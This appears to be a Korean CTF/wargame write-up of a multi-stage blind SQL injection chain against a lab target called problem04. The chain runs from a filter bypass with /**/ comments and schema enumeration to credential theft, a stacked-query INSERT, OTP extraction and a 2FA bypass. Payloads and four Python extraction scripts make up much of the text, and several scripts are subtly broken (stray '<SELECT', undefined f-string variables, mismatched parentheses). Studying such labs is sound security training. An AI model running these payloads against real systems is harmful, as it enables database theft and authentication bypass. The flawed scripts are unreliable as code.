

Lost Schema

필터 우회 + Stacked Query 기반 다단계 Blind SQL Injection과 2차 인증 우회 (Multi-Stage Blind SQLi Chain & 2FA Bypass)

TARGET problem04	PREPARED FOR 8low8lowme Team	SEVERITY: HIGH
AUTHOR 정슬기 (설계) / 구현팀	CWE CWE-89 · CWE-943 · CWE-287	STATUS: DRAFT

1. 개요 (Executive Summary)

problem04(Lost Schema)를 분석한 결과, 계정 검색 기능에서 시작해 로그인 2단계 인증(OTP)까지 이어지는 다단계 SQL Injection 취약점 체인을 확인했다. 검색 파라미터는 스페이스 문자만 차단하는 블랙리스트 필터를 적용하고 있었으나, 멀티라인 주석(/**)으로 우회가 가능했다.

단순 조회(SELECT) 우회에 그치지 않고, 세미콜론으로 여러 SQL 문을 이어붙이는 Stacked Query 기법을 통해 동일한 입력창에서 INSERT 문까지 실행할 수 있음을 확인했다. 이를 이용해 Blind SQLi로 탈취한 관리자 계정 정보를 인증 발급 테이블에 직접 주입했고, 서버가 이를 검증해 발급한 OTP 코드까지 다시 Blind SQLi로 추출했다. 최종적으로 탈취한 아이디, 비밀번호, OTP 코드를 로그인 페이지에 제출해 관리자 세션을 획득했고, 관리자 대시보드에서 플래그를 확인했다.

이 취약점 체인의 핵심은, 스키마 구조를 파악하는 것만으로는 플래그에 도달할 수 없고, 파악한 구조에 맞춰 공격자가 직접 임의의 값을 주입하고 그 결과를 다시 추출하는 능동적 판단이 각 단계마다 요구된다는 점이다. 이는 자동화 스캐너가 취약점 존재 여부는 탐지할 수 있어도, 단계 간 논리적 연결(탈취한 값을 다음 단계의 입력으로 재사용하는 것)까지는 자동으로 수행하지 못한다는 점에서 방어적으로도 의미가 있다.

2. 공격 시나리오 (Attack Narrative)

단계	기법	확보한 정보 / 결과
1	검색창에 기본 SQLi 페이로드 입력, 공백 필터 확인	"Filtered / Invalid Input" — 스페이스 차단 확인
2	스페이스를 /**/로 치환해 필터 우회	우회 성공, 참/거짓 Boolean 채널 확인

단계	기법	확보한 정보 / 결과
3	information_schema 탐색	Products, users, key_table 세 테이블 확인
4	users 테이블 대상 information_schema.columns 탐색	id, username, password 컬럼 확인
5	users 테이블에서 admin 계정 Blind 추출	username=admin, password=Xk9mQ2pR 확보
6	세미콜론으로 SELECT+INSERT 이어붙여 실행 (Stacked Query)	탈취한 계정정보를 key_table에 직접 주입
7	서버가 주입된 계정정보를 users와 대조, 일치 시 OTP 자동 발급	key_table.otp_code 컬럼에 랜덤값 생성됨
8	key_table에서 otp_code를 Blind SQLi로 추출	OTP 코드 확보
9	login.php에 계정정보 + OTP 코드 제출	2단계 인증 통과, 관리자 세션 획득
10	admin.php 접근	관리자 대시보드에서 FLAG 확인

3. 상세 재현 절차 (Proof of Concept)

3.1 정찰 — 검색 기능, 필터, 디렉토리 브루트포스

index.php에는 계정 검색창 하나가 존재한다. 기본적인 SQLi 페이로드(' OR 1=1#)를 입력하면 스페이스가 포함된 입력이 차단되며 "Filtered / Invalid Input"이 반환된다. 한편 gobuster로 디렉토리/파일 브루트포스를 수행한 결과 login.php, admin.php 파일이 실제로 존재함을 확인했다. 검색 기능만으로는 드러나지 않는 별도의 관리자 로그인 페이지가 있다는 것을 이 과정에서 알게 되었다.

```
Starting gobuster in directory enumeration mode
```

```
index.php      (Status: 200) [Size: 2205]
login.php      (Status: 200) [Size: 3039]
admin.php      (Status: 403) [Size: 13]
db.php         (Status: 200) [Size: 0]
config.php     (Status: 200) [Size: 0]
authenticate.php (Status: 200) [Size: 142]
Progress: 441116 / 441116 (100.00%)
```

```
Finished
```

3.2 필터 우회 및 Boolean 채널 확인

공백 문자를 멀티라인 주석(/**/)으로 치환하면 필터를 통과한다. 이후 조건절을 참/거짓으로 바꿔가며 응답이 실제로 달라지는지 확인해, 이후 모든 데이터 추출이 이 응답 차이 하나에 의존한다는 것을 검증했다.

```
admin'/**/AND/**/1=1# -> found (참)
admin'/**/AND/**/1=2# -> not_found (거짓)
```

3.3 스키마 탐색 — 낯선 테이블 발견

information_schema.tables를 Blind SQLi로 순회해 현재 데이터베이스에 Products 외에 users, key_table이라는 낯선 테이블이 존재함을 확인했다. 검색 기능과 무관해 보이는 이 두 테이블의 존재가 다음 단계로 이어지는 단서가 되었다. 추출에 사용한 전체 스크립트는 부록 A를 참고.

```
└─$ sudo python3 tt.py
테이블 개수 : 3
테이블 [0]: users
테이블 [1]: key_table
테이블 [2]: Products
```

3.4 users 테이블 컬럼 탐색

users 테이블의 이름만으로는 내부 구조를 알 수 없으므로, information_schema.columns를 table_name='users' 조건으로 Blind SQLi 순회해 실제 컬럼 구성을 확인했다. 추출에 사용한 전체 스크립트는 부록 B를 참고.

```
└─$ sudo python3 tt.py
컬럼 개수 : 3
컬럼 [0]: id
컬럼 [1]: username
컬럼 [2]: password
```

3.5 users 테이블에서 관리자 계정 값 추출

앞서 확인한 username, password 컬럼을 대상으로, admin 계정의 실제 값을 한 글자씩 ASCII/SUBSTRING 비교로 추출했다. 추출에 사용한 전체 스크립트는 부록 C를 참고.

```
└─$ sudo python3 ttt.py
username: admin
password: Xk9mQ2pR
```

3.6 Stacked Query로 key_table에 직접 INSERT

key_table의 컬럼(username, password, otp_code)을 확인한 결과, 단순히 조회하는 용도가 아니라 값을 주입해야 하는 테이블로 판단했다. 검색 파라미터가 Prepared Statement 없이 문자열로 그대로 조립되는 점을 이용해, 검색창에서 세미콜론으로 SELECT 뒤에 INSERT 문을 이어붙이는 Stacked Query를 시도했다.

```
admin';/**/INSERT/**/INTO/**/key_table/**/(username,password)/**/VALUES/**/('admin','Xk9mQ2pR')#
```

MySQL 표준 주석 문법상 '--' 뒤에는 공백이 있어야 정상적으로 주석 처리되므로, 공백을 쓸 수 없는 이 환경에서는 '--' 대신 '#'을 종료 주석으로 사용해야 문법 오류 없이 실행된다.

3.7 서버 측 OTP 자동 발급 확인

주입된 값이 users 테이블의 실제 계정 정보와 일치하면, 서버가 이를 감지해 key_table의 otp_code 컬럼에 32자리 랜덤 값을 자동으로 채워 넣는다. 일치하지 않는 값을 주입한 경우 해당 행은 삭제되어, 임의의 값으로는 OTP가 발급되지 않는다.

```
MariaDB [challenge04]> SELECT * FROM key_table;
Empty set (0.001 sec)

MariaDB [challenge04]> SELECT * FROM key_table;
+----+-----+-----+-----+
| id | username | password | otp_code |
+----+-----+-----+-----+
| 4  | admin   | Xk9mQ2pR | 32746f549a775b826e88c0e935900c25 |
+----+-----+-----+-----+
```

3.8 otp_code Blind 추출

key_table에서 otp_code 값을 동일한 방식으로 한 글자씩 추출했다. 추출에 사용한 전체 스크립트는 부록 D를 참고.

```
$ sudo python3 tttt.py
otp_code: 32746f549a775b826e88c0e935900c25
```

3.9 2단계 인증 통과 및 FLAG 획득

탈취한 아이디, 비밀번호, OTP 코드를 login.php에 함께 제출했다. 서버가 세 값을 모두 검증해 일치하면 세션에 관리자 권한을 부여하며, 이후 admin.php에 접근하면 대시보드에서 최종 FLAG를 확인할 수 있다.

Welcome, admin

FLAG{eTM9MGxjcCFpNV5vOTE}

4. 근본 원인 분석 (Root Cause)

- 검색 파라미터를 Prepared Statement 없이 SQL 쿼리 문자열에 직접 결합함
- 필터링이 스페이스 문자 하나만 차단하는 블랙리스트 방식이라 `/**/` 등 동일한 문법적 효과를 내는 표현을 차단하지 못함
- DB 드라이버가 세미콜론으로 구분된 다중 쿼리 실행(Stacked Query)을 허용하도록 설정되어 있어, 하나의 입력 파라미터로 SELECT 뿐 아니라 INSERT 까지 실행 가능함
- 2 단계 인증(OTP) 로직이 존재하지만, 그 발급 대상이 되는 `key_table` 자체가 동일한 SQL Injection 지점을 통해 임의로 조작 가능해 인증 강화 장치가 우회됨
- 결과적으로 하나의 취약점(파라미터 미검증)이 조희, 데이터 조작, 인증 우회까지 연쇄적으로 이어지는 Attack Chain 을 형성함

5. 부록 — 자동화 스크립트 (Appendix)

본문 서술 흐름을 해치지 않기 위해, 각 단계에서 실제로 사용한 전체 파이썬 스크립트는 아래에 모아두었다.

부록 A — 테이블 탐색 (3.3 관련)

```
import requests

URL = 'http://[서버 주소]/wargame/problems/problem04/search_action.php'

def is_true(payload):
    r = requests.get(URL, params={'username': payload})
    return r.json()['status'] == 'found'

count_template = (
    "admin'/**/AND/**/(SELECT/**/COUNT(*)"
    "/**/FROM/**/information_schema.tables/**/"
    "WHERE/**/table_schema=database())={code}#"
)
table_count = None
for code in range(0, 30):
    if is_true(count_template.format(code=code)):
        table_count = code
        break
print(f"테이블 개수: {table_count}")

name_template = (
    "admin'/**/AND/**/(SELECT/**/ASCII(SUBSTRING(table_name,{n},1))"
    "/**/FROM/**/information_schema.tables/**/"
    "WHERE/**/table_schema=database()/**/LIMIT/**/1/**/OFFSET/**/{offset})={code}#"
)
for offset in range(table_count):
    result = ""
    n = 1
    while True:
        found_char = False
        for code in range(32, 127):
            p = name_template.format(n=n, code=code, offset=offset)
            if is_true(p):
                result += chr(code)
                found_char = True
                break
        if not found_char:
            break
        n += 1
    print(f"테이블 [{offset}]: {result}")
```

부록 B — 컬럼 탐색 (3.4 관련)

```
import requests

URL = 'http://[서버 주소]/wargame/problems/problem04/search_action.php'

def is_true(payload):
    r = requests.get(URL, params={'username': payload})
    return r.json()['status'] == 'found'

count_template = (
    "admin'/**/AND/**/(<SELECT/**/COUNT(*)"
    " /**/FROM/**/information_schema.columns/**/"
    "WHERE/**/table_name='users')={code}#"
)
col_count = None
for code in range(0, 30):
    if is_true(count_template.format(code=code)):
        col_count = code
        break
print(f"컬럼 개수: {col_count}")

name_template = (
    "admin'/**/AND/**/(<SELECT/**/ASCII(SUBSTRING(column_name,{n},1))"
    " /**/FROM/**/information_schema.columns/**/"
    "WHERE/**/table_name='users'/**/LIMIT/**/1/**/OFFSET/**/{offset})={code}#"
)
for offset in range(col_count):
    result = ""
    n = 1
    while True:
        found_char = False
        for code in range(32, 127):
            p = name_template.format(n=n, code=code, offset=offset)
            if is_true(p):
                result += chr(code)
                found_char = True
                break
        if not found_char:
            break
        n += 1
    print(f"컬럼 [{offset}]: {result}")
```

부록 C — users 계정 값 추출 (3.5 관련)

```
import requests

URL = 'http://[서버 주소]/wargame/problems/problem04/search_action.php'

def is_true(payload):
    r = requests.get(URL, params={'username': payload})
```

```

return r.json()['status'] == 'found'

def extract(from_table, col, where):
    count_template = (
        f"admin'/**/AND/**/(SELECT/**/COUNT(*)"
        f"/**/FROM/**/{from_table}/**/WHERE/**/{where})={{code}}#"
    )
    total = None
    for code in range(0, 30):
        if is_true(count_template.format(code=code)):
            total = code
            break

    name_template = (
        f"admin'/**/AND/**/(SELECT/**/ASCII(SUBSTRING({col},{n}),1))"
        f"/**/FROM/**/{from_table}/**/WHERE/**/{where}"
        f"/**/LIMIT/**/1/**/OFFSET/**/{offset})={{code}}#"
    )

    results = []
    for offset in range(total):
        result = ""
        n = 1
        while True:
            found_char = False
            for code in range(32, 127):
                p = name_template.format(n=n, code=code, offset=offset)
                if is_true(p):
                    result += chr(code)
                    found_char = True
                    break
            if not found_char:
                break
            n += 1
        results.append(result)
    return results

username = extract("users", "username", "1=1")[0]
password = extract("users", "password", f"username='{username}'")[0]
print("username:", username)
print("password:", password)

```

부록 D — otp_code 추출 (3.8 관련)

```

import requests

URL = 'http://[서버 주소]/wargame/problems/problem04/search_action.php'

def is_true(payload):
    r = requests.get(URL, params={'username': payload})
    return r.json()['status'] == 'found'

```



```

def extract(from_table, col, where):
    count_template = (
        f"admin'/**/AND/**/(SELECT/**/COUNT(*)"
        f"/**/FROM/**/{from_table}/**/WHERE/**/{where})={{code}}#"
    )
    total = None
    for code in range(0, 30):
        if is_true(count_template.format(code=code)):
            total = code
            break
    name_template = (
        f"admin'/**/AND/**/(SELECT/**/ASCII(SUBSTRING({col},{n}},1))"
        f"/**/FROM/**/{from_table}/**/WHERE/**/{where}"
        f"/**/LIMIT/**/1/**/OFFSET/**/{offset})={{code}}#"
    )
    results = []
    for offset in range(total):
        result = ""
        n = 1
        while True:
            found_char = False
            for code in range(32, 127):
                p = name_template.format(n=n, code=code, offset=offset)
                if is_true(p):
                    result += chr(code)
                    found_char = True
                    break
            if not found_char:
                break
            n += 1
        results.append(result)
    return results

otp_code = extract("key_table", "otp_code", "username='admin'")[0]
print("otp_code:", otp_code)

```